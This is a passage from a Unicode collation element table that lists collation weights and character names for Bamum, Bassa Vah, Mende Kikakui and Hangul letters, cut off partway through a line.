; [.3954.0020.0002] # BAMUM LETTER PHASE-F SUU +16A13 ; [.3955.0020.0002] # BAMUM LETTER PHASE-F SHII +16A14 ; [.3956.0020.0002] # BAMUM LETTER PHASE-F SI +16A15 ; [.3957.0020.0002] # BAMUM LETTER PHASE-F SEUX +16A16 ; [.3958.0020.0002] # BAMUM LETTER PHASE-F KYEE +16A17 ; [.3959.0020.0002] # BAMUM LETTER PHASE-F KET +16A18 ; [.395A.0020.0002] # BAMUM LETTER PHASE-F NUAE +16A19 ; [.395B.0020.0002] # BAMUM LETTER PHASE-F NU +16A1A ; [.395C.0020.0002] # BAMUM LETTER PHASE-F NJUAE +16A1B ; [.395D.0020.0002] # BAMUM LETTER PHASE-F YOQ +16A1C ; [.395E.0020.0002] # BAMUM LETTER PHASE-F SHU +16A1D ; [.395F.0020.0002] # BAMUM LETTER PHASE-F YA +16A1E ; [.3960.0020.0002] # BAMUM LETTER PHASE-F NSHA +16A1F ; [.3961.0020.0002] # BAMUM LETTER PHASE-F PEUX +16A20 ; [.3962.0020.0002] # BAMUM LETTER PHASE-F NTEE +16A21 ; [.3963.0020.0002] # BAMUM LETTER PHASE-F WUE +16A22 ; [.3964.0020.0002] # BAMUM LETTER PHASE-F PEE +16A23 ; [.3965.0020.0002] # BAMUM LETTER PHASE-F RU +16A24 ; [.3966.0020.0002] # BAMUM LETTER PHASE-F NI +16A25 ; [.3967.0020.0002] # BAMUM LETTER PHASE-F REUX +16A26 ; [.3968.0020.0002] # BAMUM LETTER PHASE-F KEN +16A27 ; [.3969.0020.0002] # BAMUM LETTER PHASE-F NGKWAEN +16A28 ; [.396A.0020.0002] # BAMUM LETTER PHASE-F NGGA +16A29 ; [.396B.0020.0002] # BAMUM LETTER PHASE-F SHO +16A2A ; [.396C.0020.0002] # BAMUM LETTER PHASE-F PUAE +16A2B ; [.396D.0020.0002] # BAMUM LETTER PHASE-F FOM +16A2C ; [.396E.0020.0002] # BAMUM LETTER PHASE-F WA +16A2D ; [.396F.0020.0002] # BAMUM LETTER PHASE-F LI +16A2E ; [.3970.0020.0002] # BAMUM LETTER PHASE-F LOQ +16A2F ; [.3971.0020.0002] # BAMUM LETTER PHASE-F KO +16A30 ; [.3972.0020.0002] # BAMUM LETTER PHASE-F MBEN +16A31 ; [.3973.0020.0002] # BAMUM LETTER PHASE-F REN +16A32 ; [.3974.0020.0002] # BAMUM LETTER PHASE-F MA +16A33 ; [.3975.0020.0002] # BAMUM LETTER PHASE-F MO +16A34 ; [.3976.0020.0002] # BAMUM LETTER PHASE-F MBAA +16A35 ; [.3977.0020.0002] # BAMUM LETTER PHASE-F TET +16A36 ; [.3978.0020.0002] # BAMUM LETTER PHASE-F KPA +16A37 ; [.3979.0020.0002] # BAMUM LETTER PHASE-F SAMBA +16A38 ; [.397A.0020.0002] # BAMUM LETTER PHASE-F VUEQ +16AD0 ; [.397B.0020.0002] # BASSA VAH LETTER ENNI +16AD1 ; [.397C.0020.0002] # BASSA VAH LETTER KA +16AD2 ; [.397D.0020.0002] # BASSA VAH LETTER SE +16AD3 ; [.397E.0020.0002] # BASSA VAH LETTER FA +16AD4 ; [.397F.0020.0002] # BASSA VAH LETTER MBE +16AD5 ; [.3980.0020.0002] # BASSA VAH LETTER YIE +16AD6 ; [.3981.0020.0002] # BASSA VAH LETTER GAH +16AD7 ; [.3982.0020.0002] # BASSA VAH LETTER DHII +16AD8 ; [.3983.0020.0002] # BASSA VAH LETTER KPAH +16AD9 ; [.3984.0020.0002] # BASSA VAH LETTER JO +16ADA ; [.3985.0020.0002] # BASSA VAH LETTER HWAH +16ADB ; [.3986.0020.0002] # BASSA VAH LETTER WA +16ADC ; [.3987.0020.0002] # BASSA VAH LETTER ZO +16ADD ; [.3988.0020.0002] # BASSA VAH LETTER GBU +16ADE ; [.3989.0020.0002] # BASSA VAH LETTER DO +16ADF ; [.398A.0020.0002] # BASSA VAH LETTER CE +16AE0 ; [.398B.0020.0002] # BASSA VAH LETTER UWU +16AE1 ; [.398C.0020.0002] # BASSA VAH LETTER TO +16AE2 ; [.398D.0020.0002] # BASSA VAH LETTER BA +16AE3 ; [.398E.0020.0002] # BASSA VAH LETTER VU +16AE4 ; [.398F.0020.0002] # BASSA VAH LETTER YEIN +16AE5 ; [.3990.0020.0002] # BASSA VAH LETTER PA +16AE6 ; [.3991.0020.0002] # BASSA VAH LETTER WADDA +16AE7 ; [.3992.0020.0002] # BASSA VAH LETTER A +16AE8 ; [.3993.0020.0002] # BASSA VAH LETTER O +16AE9 ; [.3994.0020.0002] # BASSA VAH LETTER OO +16AEA ; [.3995.0020.0002] # BASSA VAH LETTER U +16AEB ; [.3996.0020.0002] # BASSA VAH LETTER EE +16AEC ; [.3997.0020.0002] # BASSA VAH LETTER E +16AED ; [.3998.0020.0002] # BASSA VAH LETTER I +1E800 ; [.3999.0020.0002] # MENDE KIKAKUI SYLLABLE M001 KI +1E801 ; [.399A.0020.0002] # MENDE KIKAKUI SYLLABLE M002 KA +1E802 ; [.399B.0020.0002] # MENDE KIKAKUI SYLLABLE M003 KU +1E803 ; [.399C.0020.0002] # MENDE KIKAKUI SYLLABLE M065 KEE +1E804 ; [.399D.0020.0002] # MENDE KIKAKUI SYLLABLE M095 KE +1E805 ; [.399E.0020.0002] # MENDE KIKAKUI SYLLABLE M076 KOO +1E806 ; [.399F.0020.0002] # MENDE KIKAKUI SYLLABLE M048 KO +1E807 ; [.39A0.0020.0002] # MENDE KIKAKUI SYLLABLE M179 KUA +1E808 ; [.39A1.0020.0002] # MENDE KIKAKUI SYLLABLE M004 WI +1E809 ; [.39A2.0020.0002] # MENDE KIKAKUI SYLLABLE M005 WA +1E80A ; [.39A3.0020.0002] # MENDE KIKAKUI SYLLABLE M006 WU +1E80B ; [.39A4.0020.0002] # MENDE KIKAKUI SYLLABLE M126 WEE +1E80C ; [.39A5.0020.0002] # MENDE KIKAKUI SYLLABLE M118 WE +1E80D ; [.39A6.0020.0002] # MENDE KIKAKUI SYLLABLE M114 WOO +1E80E ; [.39A7.0020.0002] # MENDE KIKAKUI SYLLABLE M045 WO +1E80F ; [.39A8.0020.0002] # MENDE KIKAKUI SYLLABLE M194 WUI +1E810 ; [.39A9.0020.0002] # MENDE KIKAKUI SYLLABLE M143 WEI +1E811 ; [.39AA.0020.0002] # MENDE KIKAKUI SYLLABLE M061 WVI +1E812 ; [.39AB.0020.0002] # MENDE KIKAKUI SYLLABLE M049 WVA +1E813 ; [.39AC.0020.0002] # MENDE KIKAKUI SYLLABLE M139 WVE +1E814 ; [.39AD.0020.0002] # MENDE KIKAKUI SYLLABLE M007 MIN +1E815 ; [.39AE.0020.0002] # MENDE KIKAKUI SYLLABLE M008 MAN +1E816 ; [.39AF.0020.0002] # MENDE KIKAKUI SYLLABLE M009 MUN +1E817 ; [.39B0.0020.0002] # MENDE KIKAKUI SYLLABLE M059 MEN +1E818 ; [.39B1.0020.0002] # MENDE KIKAKUI SYLLABLE M094 MON +1E819 ; [.39B2.0020.0002] # MENDE KIKAKUI SYLLABLE M154 MUAN +1E81A ; [.39B3.0020.0002] # MENDE KIKAKUI SYLLABLE M189 MUEN +1E81B ; [.39B4.0020.0002] # MENDE KIKAKUI SYLLABLE M010 BI +1E81C ; [.39B5.0020.0002] # MENDE KIKAKUI SYLLABLE M011 BA +1E81D ; [.39B6.0020.0002] # MENDE KIKAKUI SYLLABLE M012 BU +1E81E ; [.39B7.0020.0002] # MENDE KIKAKUI SYLLABLE M150 BEE +1E81F ; [.39B8.0020.0002] # MENDE KIKAKUI SYLLABLE M097 BE +1E820 ; [.39B9.0020.0002] # MENDE KIKAKUI SYLLABLE M103 BOO +1E821 ; [.39BA.0020.0002] # MENDE KIKAKUI SYLLABLE M138 BO +1E822 ; [.39BB.0020.0002] # MENDE KIKAKUI SYLLABLE M013 I +1E823 ; [.39BC.0020.0002] # MENDE KIKAKUI SYLLABLE M014 A +1E824 ; [.39BD.0020.0002] # MENDE KIKAKUI SYLLABLE M015 U +1E825 ; [.39BE.0020.0002] # MENDE KIKAKUI SYLLABLE M163 EE +1E826 ; [.39BF.0020.0002] # MENDE KIKAKUI SYLLABLE M100 E +1E827 ; [.39C0.0020.0002] # MENDE KIKAKUI SYLLABLE M165 OO +1E828 ; [.39C1.0020.0002] # MENDE KIKAKUI SYLLABLE M147 O +1E829 ; [.39C2.0020.0002] # MENDE KIKAKUI SYLLABLE M137 EI +1E82A ; [.39C3.0020.0002] # MENDE KIKAKUI SYLLABLE M131 IN +1E82B ; [.39C4.0020.0002] # MENDE KIKAKUI SYLLABLE M135 IN +1E82C ; [.39C5.0020.0002] # MENDE KIKAKUI SYLLABLE M195 AN +1E82D ; [.39C6.0020.0002] # MENDE KIKAKUI SYLLABLE M178 EN +1E82E ; [.39C7.0020.0002] # MENDE KIKAKUI SYLLABLE M019 SI +1E82F ; [.39C8.0020.0002] # MENDE KIKAKUI SYLLABLE M020 SA +1E830 ; [.39C9.0020.0002] # MENDE KIKAKUI SYLLABLE M021 SU +1E831 ; [.39CA.0020.0002] # MENDE KIKAKUI SYLLABLE M162 SEE +1E832 ; [.39CB.0020.0002] # MENDE KIKAKUI SYLLABLE M116 SE +1E833 ; [.39CC.0020.0002] # MENDE KIKAKUI SYLLABLE M136 SOO +1E834 ; [.39CD.0020.0002] # MENDE KIKAKUI SYLLABLE M079 SO +1E835 ; [.39CE.0020.0002] # MENDE KIKAKUI SYLLABLE M196 SIA +1E836 ; [.39CF.0020.0002] # MENDE KIKAKUI SYLLABLE M025 LI +1E837 ; [.39D0.0020.0002] # MENDE KIKAKUI SYLLABLE M026 LA +1E838 ; [.39D1.0020.0002] # MENDE KIKAKUI SYLLABLE M027 LU +1E839 ; [.39D2.0020.0002] # MENDE KIKAKUI SYLLABLE M084 LEE +1E83A ; [.39D3.0020.0002] # MENDE KIKAKUI SYLLABLE M073 LE +1E83B ; [.39D4.0020.0002] # MENDE KIKAKUI SYLLABLE M054 LOO +1E83C ; [.39D5.0020.0002] # MENDE KIKAKUI SYLLABLE M153 LO +1E83D ; [.39D6.0020.0002] # MENDE KIKAKUI SYLLABLE M110 LONG LE +1E83E ; [.39D7.0020.0002] # MENDE KIKAKUI SYLLABLE M016 DI +1E83F ; [.39D8.0020.0002] # MENDE KIKAKUI SYLLABLE M017 DA +1E840 ; [.39D9.0020.0002] # MENDE KIKAKUI SYLLABLE M018 DU +1E841 ; [.39DA.0020.0002] # MENDE KIKAKUI SYLLABLE M089 DEE +1E842 ; [.39DB.0020.0002] # MENDE KIKAKUI SYLLABLE M180 DOO +1E843 ; [.39DC.0020.0002] # MENDE KIKAKUI SYLLABLE M181 DO +1E844 ; [.39DD.0020.0002] # MENDE KIKAKUI SYLLABLE M022 TI +1E845 ; [.39DE.0020.0002] # MENDE KIKAKUI SYLLABLE M023 TA +1E846 ; [.39DF.0020.0002] # MENDE KIKAKUI SYLLABLE M024 TU +1E847 ; [.39E0.0020.0002] # MENDE KIKAKUI SYLLABLE M091 TEE +1E848 ; [.39E1.0020.0002] # MENDE KIKAKUI SYLLABLE M055 TE +1E849 ; [.39E2.0020.0002] # MENDE KIKAKUI SYLLABLE M104 TOO +1E84A ; [.39E3.0020.0002] # MENDE KIKAKUI SYLLABLE M069 TO +1E84B ; [.39E4.0020.0002] # MENDE KIKAKUI SYLLABLE M028 JI +1E84C ; [.39E5.0020.0002] # MENDE KIKAKUI SYLLABLE M029 JA +1E84D ; [.39E6.0020.0002] # MENDE KIKAKUI SYLLABLE M030 JU +1E84E ; [.39E7.0020.0002] # MENDE KIKAKUI SYLLABLE M157 JEE +1E84F ; [.39E8.0020.0002] # MENDE KIKAKUI SYLLABLE M113 JE +1E850 ; [.39E9.0020.0002] # MENDE KIKAKUI SYLLABLE M160 JOO +1E851 ; [.39EA.0020.0002] # MENDE KIKAKUI SYLLABLE M063 JO +1E852 ; [.39EB.0020.0002] # MENDE KIKAKUI SYLLABLE M175 LONG JO +1E853 ; [.39EC.0020.0002] # MENDE KIKAKUI SYLLABLE M031 YI +1E854 ; [.39ED.0020.0002] # MENDE KIKAKUI SYLLABLE M032 YA +1E855 ; [.39EE.0020.0002] # MENDE KIKAKUI SYLLABLE M033 YU +1E856 ; [.39EF.0020.0002] # MENDE KIKAKUI SYLLABLE M109 YEE +1E857 ; [.39F0.0020.0002] # MENDE KIKAKUI SYLLABLE M080 YE +1E858 ; [.39F1.0020.0002] # MENDE KIKAKUI SYLLABLE M141 YOO +1E859 ; [.39F2.0020.0002] # MENDE KIKAKUI SYLLABLE M121 YO +1E85A ; [.39F3.0020.0002] # MENDE KIKAKUI SYLLABLE M034 FI +1E85B ; [.39F4.0020.0002] # MENDE KIKAKUI SYLLABLE M035 FA +1E85C ; [.39F5.0020.0002] # MENDE KIKAKUI SYLLABLE M036 FU +1E85D ; [.39F6.0020.0002] # MENDE KIKAKUI SYLLABLE M078 FEE +1E85E ; [.39F7.0020.0002] # MENDE KIKAKUI SYLLABLE M075 FE +1E85F ; [.39F8.0020.0002] # MENDE KIKAKUI SYLLABLE M133 FOO +1E860 ; [.39F9.0020.0002] # MENDE KIKAKUI SYLLABLE M088 FO +1E861 ; [.39FA.0020.0002] # MENDE KIKAKUI SYLLABLE M197 FUA +1E862 ; [.39FB.0020.0002] # MENDE KIKAKUI SYLLABLE M101 FAN +1E863 ; [.39FC.0020.0002] # MENDE KIKAKUI SYLLABLE M037 NIN +1E864 ; [.39FD.0020.0002] # MENDE KIKAKUI SYLLABLE M038 NAN +1E865 ; [.39FE.0020.0002] # MENDE KIKAKUI SYLLABLE M039 NUN +1E866 ; [.39FF.0020.0002] # MENDE KIKAKUI SYLLABLE M117 NEN +1E867 ; [.3A00.0020.0002] # MENDE KIKAKUI SYLLABLE M169 NON +1E868 ; [.3A01.0020.0002] # MENDE KIKAKUI SYLLABLE M176 HI +1E869 ; [.3A02.0020.0002] # MENDE KIKAKUI SYLLABLE M041 HA +1E86A ; [.3A03.0020.0002] # MENDE KIKAKUI SYLLABLE M186 HU +1E86B ; [.3A04.0020.0002] # MENDE KIKAKUI SYLLABLE M040 HEE +1E86C ; [.3A05.0020.0002] # MENDE KIKAKUI SYLLABLE M096 HE +1E86D ; [.3A06.0020.0002] # MENDE KIKAKUI SYLLABLE M042 HOO +1E86E ; [.3A07.0020.0002] # MENDE KIKAKUI SYLLABLE M140 HO +1E86F ; [.3A08.0020.0002] # MENDE KIKAKUI SYLLABLE M083 HEEI +1E870 ; [.3A09.0020.0002] # MENDE KIKAKUI SYLLABLE M128 HOOU +1E871 ; [.3A0A.0020.0002] # MENDE KIKAKUI SYLLABLE M053 HIN +1E872 ; [.3A0B.0020.0002] # MENDE KIKAKUI SYLLABLE M130 HAN +1E873 ; [.3A0C.0020.0002] # MENDE KIKAKUI SYLLABLE M087 HUN +1E874 ; [.3A0D.0020.0002] # MENDE KIKAKUI SYLLABLE M052 HEN +1E875 ; [.3A0E.0020.0002] # MENDE KIKAKUI SYLLABLE M193 HON +1E876 ; [.3A0F.0020.0002] # MENDE KIKAKUI SYLLABLE M046 HUAN +1E877 ; [.3A10.0020.0002] # MENDE KIKAKUI SYLLABLE M090 NGGI +1E878 ; [.3A11.0020.0002] # MENDE KIKAKUI SYLLABLE M043 NGGA +1E879 ; [.3A12.0020.0002] # MENDE KIKAKUI SYLLABLE M082 NGGU +1E87A ; [.3A13.0020.0002] # MENDE KIKAKUI SYLLABLE M115 NGGEE +1E87B ; [.3A14.0020.0002] # MENDE KIKAKUI SYLLABLE M146 NGGE +1E87C ; [.3A15.0020.0002] # MENDE KIKAKUI SYLLABLE M156 NGGOO +1E87D ; [.3A16.0020.0002] # MENDE KIKAKUI SYLLABLE M120 NGGO +1E87E ; [.3A17.0020.0002] # MENDE KIKAKUI SYLLABLE M159 NGGAA +1E87F ; [.3A18.0020.0002] # MENDE KIKAKUI SYLLABLE M127 NGGUA +1E880 ; [.3A19.0020.0002] # MENDE KIKAKUI SYLLABLE M086 LONG NGGE +1E881 ; [.3A1A.0020.0002] # MENDE KIKAKUI SYLLABLE M106 LONG NGGOO +1E882 ; [.3A1B.0020.0002] # MENDE KIKAKUI SYLLABLE M183 LONG NGGO +1E883 ; [.3A1C.0020.0002] # MENDE KIKAKUI SYLLABLE M155 GI +1E884 ; [.3A1D.0020.0002] # MENDE KIKAKUI SYLLABLE M111 GA +1E885 ; [.3A1E.0020.0002] # MENDE KIKAKUI SYLLABLE M168 GU +1E886 ; [.3A1F.0020.0002] # MENDE KIKAKUI SYLLABLE M190 GEE +1E887 ; [.3A20.0020.0002] # MENDE KIKAKUI SYLLABLE M166 GUEI +1E888 ; [.3A21.0020.0002] # MENDE KIKAKUI SYLLABLE M167 GUAN +1E889 ; [.3A22.0020.0002] # MENDE KIKAKUI SYLLABLE M184 NGEN +1E88A ; [.3A23.0020.0002] # MENDE KIKAKUI SYLLABLE M057 NGON +1E88B ; [.3A24.0020.0002] # MENDE KIKAKUI SYLLABLE M177 NGUAN +1E88C ; [.3A25.0020.0002] # MENDE KIKAKUI SYLLABLE M068 PI +1E88D ; [.3A26.0020.0002] # MENDE KIKAKUI SYLLABLE M099 PA +1E88E ; [.3A27.0020.0002] # MENDE KIKAKUI SYLLABLE M050 PU +1E88F ; [.3A28.0020.0002] # MENDE KIKAKUI SYLLABLE M081 PEE +1E890 ; [.3A29.0020.0002] # MENDE KIKAKUI SYLLABLE M051 PE +1E891 ; [.3A2A.0020.0002] # MENDE KIKAKUI SYLLABLE M102 POO +1E892 ; [.3A2B.0020.0002] # MENDE KIKAKUI SYLLABLE M066 PO +1E893 ; [.3A2C.0020.0002] # MENDE KIKAKUI SYLLABLE M145 MBI +1E894 ; [.3A2D.0020.0002] # MENDE KIKAKUI SYLLABLE M062 MBA +1E895 ; [.3A2E.0020.0002] # MENDE KIKAKUI SYLLABLE M122 MBU +1E896 ; [.3A2F.0020.0002] # MENDE KIKAKUI SYLLABLE M047 MBEE +1E897 ; [.3A30.0020.0002] # MENDE KIKAKUI SYLLABLE M188 MBEE +1E898 ; [.3A31.0020.0002] # MENDE KIKAKUI SYLLABLE M072 MBE +1E899 ; [.3A32.0020.0002] # MENDE KIKAKUI SYLLABLE M172 MBOO +1E89A ; [.3A33.0020.0002] # MENDE KIKAKUI SYLLABLE M174 MBO +1E89B ; [.3A34.0020.0002] # MENDE KIKAKUI SYLLABLE M187 MBUU +1E89C ; [.3A35.0020.0002] # MENDE KIKAKUI SYLLABLE M161 LONG MBE +1E89D ; [.3A36.0020.0002] # MENDE KIKAKUI SYLLABLE M105 LONG MBOO +1E89E ; [.3A37.0020.0002] # MENDE KIKAKUI SYLLABLE M142 LONG MBO +1E89F ; [.3A38.0020.0002] # MENDE KIKAKUI SYLLABLE M132 KPI +1E8A0 ; [.3A39.0020.0002] # MENDE KIKAKUI SYLLABLE M092 KPA +1E8A1 ; [.3A3A.0020.0002] # MENDE KIKAKUI SYLLABLE M074 KPU +1E8A2 ; [.3A3B.0020.0002] # MENDE KIKAKUI SYLLABLE M044 KPEE +1E8A3 ; [.3A3C.0020.0002] # MENDE KIKAKUI SYLLABLE M108 KPE +1E8A4 ; [.3A3D.0020.0002] # MENDE KIKAKUI SYLLABLE M112 KPOO +1E8A5 ; [.3A3E.0020.0002] # MENDE KIKAKUI SYLLABLE M158 KPO +1E8A6 ; [.3A3F.0020.0002] # MENDE KIKAKUI SYLLABLE M124 GBI +1E8A7 ; [.3A40.0020.0002] # MENDE KIKAKUI SYLLABLE M056 GBA +1E8A8 ; [.3A41.0020.0002] # MENDE KIKAKUI SYLLABLE M148 GBU +1E8A9 ; [.3A42.0020.0002] # MENDE KIKAKUI SYLLABLE M093 GBEE +1E8AA ; [.3A43.0020.0002] # MENDE KIKAKUI SYLLABLE M107 GBE +1E8AB ; [.3A44.0020.0002] # MENDE KIKAKUI SYLLABLE M071 GBOO +1E8AC ; [.3A45.0020.0002] # MENDE KIKAKUI SYLLABLE M070 GBO +1E8AD ; [.3A46.0020.0002] # MENDE KIKAKUI SYLLABLE M171 RA +1E8AE ; [.3A47.0020.0002] # MENDE KIKAKUI SYLLABLE M123 NDI +1E8AF ; [.3A48.0020.0002] # MENDE KIKAKUI SYLLABLE M129 NDA +1E8B0 ; [.3A49.0020.0002] # MENDE KIKAKUI SYLLABLE M125 NDU +1E8B1 ; [.3A4A.0020.0002] # MENDE KIKAKUI SYLLABLE M191 NDEE +1E8B2 ; [.3A4B.0020.0002] # MENDE KIKAKUI SYLLABLE M119 NDE +1E8B3 ; [.3A4C.0020.0002] # MENDE KIKAKUI SYLLABLE M067 NDOO +1E8B4 ; [.3A4D.0020.0002] # MENDE KIKAKUI SYLLABLE M064 NDO +1E8B5 ; [.3A4E.0020.0002] # MENDE KIKAKUI SYLLABLE M152 NJA +1E8B6 ; [.3A4F.0020.0002] # MENDE KIKAKUI SYLLABLE M192 NJU +1E8B7 ; [.3A50.0020.0002] # MENDE KIKAKUI SYLLABLE M149 NJEE +1E8B8 ; [.3A51.0020.0002] # MENDE KIKAKUI SYLLABLE M134 NJOO +1E8B9 ; [.3A52.0020.0002] # MENDE KIKAKUI SYLLABLE M182 VI +1E8BA ; [.3A53.0020.0002] # MENDE KIKAKUI SYLLABLE M185 VA +1E8BB ; [.3A54.0020.0002] # MENDE KIKAKUI SYLLABLE M151 VU +1E8BC ; [.3A55.0020.0002] # MENDE KIKAKUI SYLLABLE M173 VEE +1E8BD ; [.3A56.0020.0002] # MENDE KIKAKUI SYLLABLE M085 VE +1E8BE ; [.3A57.0020.0002] # MENDE KIKAKUI SYLLABLE M144 VOO +1E8BF ; [.3A58.0020.0002] # MENDE KIKAKUI SYLLABLE M077 VO +1E8C0 ; [.3A59.0020.0002] # MENDE KIKAKUI SYLLABLE M164 NYIN +1E8C1 ; [.3A5A.0020.0002] # MENDE KIKAKUI SYLLABLE M058 NYAN +1E8C2 ; [.3A5B.0020.0002] # MENDE KIKAKUI SYLLABLE M170 NYUN +1E8C3 ; [.3A5C.0020.0002] # MENDE KIKAKUI SYLLABLE M098 NYEN +1E8C4 ; [.3A5D.0020.0002] # MENDE KIKAKUI SYLLABLE M060 NYON +1100 ; [.3A5E.0020.0002] # HANGUL CHOSEONG KIYEOK +3131 ; [.3A5E.0020.0004] # HANGUL LETTER KIYEOK +3200 ; [*0310.0020.0004][.3A5E.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL KIYEOK +3260 ; [.3A5E.0020.0006] # CIRCLED HANGUL KIYEOK +FFA1 ; [.3A5E.0020.0012] # HALFWIDTH HANGUL LETTER KIYEOK +320E ; [*0310.0020.0004][.3A5E.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL KIYEOK A +326E ; [.3A5E.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL KIYEOK A +1101 ; [.3A5F.0020.0002] # HANGUL CHOSEONG SSANGKIYEOK +3132 ; [.3A5F.0020.0004] # HANGUL LETTER SSANGKIYEOK +FFA2 ; [.3A5F.0020.0012] # HALFWIDTH HANGUL LETTER SSANGKIYEOK +1102 ; [.3A60.0020.0002] # HANGUL CHOSEONG NIEUN +3134 ; [.3A60.0020.0004] # HANGUL LETTER NIEUN +3201 ; [*0310.0020.0004][.3A60.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL NIEUN +3261 ; [.3A60.0020.0006] # CIRCLED HANGUL NIEUN +FFA4 ; [.3A60.0020.0012] # HALFWIDTH HANGUL LETTER NIEUN +320F ; [*0310.0020.0004][.3A60.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL NIEUN A +326F ; [.3A60.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL NIEUN A +1103 ; [.3A61.0020.0002] # HANGUL CHOSEONG TIKEUT +3137 ; [.3A61.0020.0004] # HANGUL LETTER TIKEUT +3202 ; [*0310.0020.0004][.3A61.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL TIKEUT +3262 ; [.3A61.0020.0006] # CIRCLED HANGUL TIKEUT +FFA7 ; [.3A61.0020.0012] # HALFWIDTH HANGUL LETTER TIKEUT +3210 ; [*0310.0020.0004][.3A61.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL TIKEUT A +3270 ; [.3A61.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL TIKEUT A +1104 ; [.3A62.0020.0002] # HANGUL CHOSEONG SSANGTIKEUT +3138 ; [.3A62.0020.0004] # HANGUL LETTER SSANGTIKEUT +FFA8 ; [.3A62.0020.0012] # HALFWIDTH HANGUL LETTER SSANGTIKEUT +1105 ; [.3A63.0020.0002] # HANGUL CHOSEONG RIEUL +3139 ; [.3A63.0020.0004] # HANGUL LETTER RIEUL +3203 ; [*0310.0020.0004][.3A63.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL RIEUL +3263 ; [.3A63.0020.0006] # CIRCLED HANGUL RIEUL +FFA9 ; [.3A63.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL +3211 ; [*0310.0020.0004][.3A63.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL RIEUL A +3271 ; [.3A63.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL RIEUL A +1106 ; [.3A64.0020.0002] # HANGUL CHOSEONG MIEUM +3141 ; [.3A64.0020.0004] # HANGUL LETTER MIEUM +3204 ; [*0310.0020.0004][.3A64.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL MIEUM +3264 ; [.3A64.0020.0006] # CIRCLED HANGUL MIEUM +FFB1 ; [.3A64.0020.0012] # HALFWIDTH HANGUL LETTER MIEUM +3212 ; [*0310.0020.0004][.3A64.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL MIEUM A +3272 ; [.3A64.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL MIEUM A +1107 ; [.3A65.0020.0002] # HANGUL CHOSEONG PIEUP +3142 ; [.3A65.0020.0004] # HANGUL LETTER PIEUP +3205 ; [*0310.0020.0004][.3A65.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL PIEUP +3265 ; [.3A65.0020.0006] # CIRCLED HANGUL PIEUP +FFB2 ; [.3A65.0020.0012] # HALFWIDTH HANGUL LETTER PIEUP +3213 ; [*0310.0020.0004][.3A65.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL PIEUP A +3273 ; [.3A65.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL PIEUP A +1108 ; [.3A66.0020.0002] # HANGUL CHOSEONG SSANGPIEUP +3143 ; [.3A66.0020.0004] # HANGUL LETTER SSANGPIEUP +FFB3 ; [.3A66.0020.0012] # HALFWIDTH HANGUL LETTER SSANGPIEUP +1109 ; [.3A67.0020.0002] # HANGUL CHOSEONG SIOS +3145 ; [.3A67.0020.0004] # HANGUL LETTER SIOS +3206 ; [*0310.0020.0004][.3A67.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL SIOS +3266 ; [.3A67.0020.0006] # CIRCLED HANGUL SIOS +FFB5 ; [.3A67.0020.0012] # HALFWIDTH HANGUL LETTER SIOS +3214 ; [*0310.0020.0004][.3A67.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL SIOS A +3274 ; [.3A67.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL SIOS A +110A ; [.3A68.0020.0002] # HANGUL CHOSEONG SSANGSIOS +3146 ; [.3A68.0020.0004] # HANGUL LETTER SSANGSIOS +FFB6 ; [.3A68.0020.0012] # HALFWIDTH HANGUL LETTER SSANGSIOS +110B ; [.3A69.0020.0002] # HANGUL CHOSEONG IEUNG +3147 ; [.3A69.0020.0004] # HANGUL LETTER IEUNG +3207 ; [*0310.0020.0004][.3A69.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL IEUNG +3267 ; [.3A69.0020.0006] # CIRCLED HANGUL IEUNG +FFB7 ; [.3A69.0020.0012] # HALFWIDTH HANGUL LETTER IEUNG +3215 ; [*0310.0020.0004][.3A69.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL IEUNG A +3275 ; [.3A69.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL IEUNG A +321D ; [*0310.0020.0004][.3A69.0020.0004][.3AE4.0020.0004][.3A6A.0020.0004][.3AE0.0020.0004][.3B3D.0020.0004][*0311.0020.0004] # PARENTHESIZED KOREAN CHARACTER OJEON +321E ; [*0310.0020.0004][.3A69.0020.0004][.3AE4.0020.0004][.3A70.0020.0004][.3AE9.0020.0004][*0311.0020.0004] # PARENTHESIZED KOREAN CHARACTER O HU +327E ; [.3A69.0020.0006][.3AE9.0020.0006] # CIRCLED HANGUL IEUNG U +110C ; [.3A6A.0020.0002] # HANGUL CHOSEONG CIEUC +3148 ; [.3A6A.0020.0004] # HANGUL LETTER CIEUC +3208 ; [*0310.0020.0004][.3A6A.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL CIEUC +3268 ; [.3A6A.0020.0006] # CIRCLED HANGUL CIEUC +FFB8 ; [.3A6A.0020.0012] # HALFWIDTH HANGUL LETTER CIEUC +3216 ; [*0310.0020.0004][.3A6A.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL CIEUC A +3276 ; [.3A6A.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL CIEUC A +321C ; [*0310.0020.0004][.3A6A.0020.0004][.3AE9.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL CIEUC U +327D ; [.3A6A.0020.0006][.3AE9.0020.0006][.3A69.0020.0006][.3AEF.0020.0006] # CIRCLED KOREAN CHARACTER 